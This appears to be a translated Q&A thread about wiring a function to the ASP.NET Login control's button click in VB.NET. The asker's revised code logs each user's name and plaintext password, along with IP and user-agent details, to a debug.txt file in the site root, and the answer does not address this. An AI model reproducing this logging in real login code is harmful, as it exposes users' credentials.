2015-09-13 4 views
0

Попытка вызвать функцию в коде позади, но не работает - одно предложение заключалось в использовании OnAuthenticate вместо OnClick, однако для этого требуется переписать весь процесс аутентификации.Вызовите функцию из элемента управления входами в vb.net

<asp:Login ID="Login1" runat="server" OnClick="MyButton" DestinationPageUrl="~/Receipt.aspx" 
    UserNameLabelText="User Name (From: mysite.com):" 
    PasswordRecoveryText="Forgot User Name or Password?" 
    PasswordRecoveryUrl="~/GetPassword.aspx"> 
</asp:Login> 

код VB:

Protected Sub MyButton(ByVal sender As Object, ByVal e As System.EventArgs) 
    Dim username As String = Login1.UserName 
    Dim currentDateTime As DateTime = DateTime.Now.AddHours(3) 
    Dim filepath As String = Server.MapPath("~") + "\debug.txt" 

    Using writer As StreamWriter = File.AppendText(filepath) 
     writer.WriteLine(username) 
     writer.WriteLine(currentDateTime) 
     writer.WriteLine("") 
    End Using 
End Sub 

Пересмотренный Кодекс:

Imports System.IO 
Imports System.Data 

Partial Class Login 
Inherits System.Web.UI.Page 

Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load 
    Dim xUserName As String = User.Identity.Name() 
    'UpdateLastLoginDate(xUserName) 
End Sub 

Protected Sub MyButton(ByVal sender As Object, ByVal e As System.EventArgs) 

    Dim username As String = Login1.UserName 
    Dim pw As String = Login1.Password 
    Dim currentDateTime As DateTime = DateTime.Now.AddHours(3) 
    Dim filepath As String = Server.MapPath("~") + "\debug.txt" 

    Using writer As StreamWriter = File.AppendText(filepath) 
     writer.WriteLine(username) 
     writer.WriteLine(pw) 
     writer.WriteLine(currentDateTime) 
     writer.WriteLine("REMOTE_ADDR: " + Request.Servervariables("REMOTE_ADDR")) 
     writer.WriteLine("USER_AGENT: " + Request.Servervariables("HTTP_USER_AGENT")) 
     writer.WriteLine("LOCAL_ADDR: " + Request.Servervariables("LOCAL_ADDR")) 
     writer.WriteLine("LOGON_USER: " + Request.Servervariables("LOGON_USER")) 
     'writer.WriteLine(Request.Servervariables("ALL_HTTP")) 
     writer.WriteLine("") 
    End Using 
End Sub 

Protected Sub Page_PreInit(sender As Object, e As EventArgs) 
    WireLoginControlButtonClickEvent(Login1) 
End Sub 

Private Sub WireLoginControlButtonClickEvent(parent As Control) 
    For Each ctrl As Control In parent.Controls 
     If TypeOf ctrl Is Button Then 
      AddHandler DirectCast(ctrl, Button).Click, Function() (MyFunction()) 
     ElseIf ctrl.HasControls() Then 
      WireLoginControlButtonClickEvent(ctrl) 
     End If 
    Next 
End Sub 

Private Function MyFunction() As String 
    Response.Write("Function Called") 
    Return Nothing 
End Function 

End Class 
+0

Когда вы говорите, "не работает", что происходит? Не можете ли вы войти в код? – thewisegod

+0

работает без ошибок, но никогда не срабатывает. кажется, что у элемента управления нет события кнопки, а onClick не для этого. – BarclayVision

ответ

1

Дайте этому попытку:

Protected Sub Page_PreInit(sender As Object, e As EventArgs) 
    WireLoginControlButtonClickEvent(Login1) 
End Sub 

Private Sub WireLoginControlButtonClickEvent(parent As Control) 
    For Each ctrl As Control In parent.Controls 
     If TypeOf ctrl Is Button Then 
      AddHandler DirectCast(ctrl, Button).Click, AddressOf MyFunction 
     ElseIf ctrl.HasControls() Then 
      WireLoginControlButtonClickEvent(ctrl) 
     End If 
    Next 
End Sub 

Private Sub MyFunction(sender As Object, e As EventArgs) 
    Response.Write("Function Called") 
End Sub 
+0

Извините, я использую vb.net – BarclayVision

+0

Попробуйте код сейчас. – thewisegod

+0

Ошибка: «выражение ожидаемое» на 'AddHandler DirectCast (ctrl, Button) .Click, Function() (MyFunction())' – BarclayVision

Смежные вопросы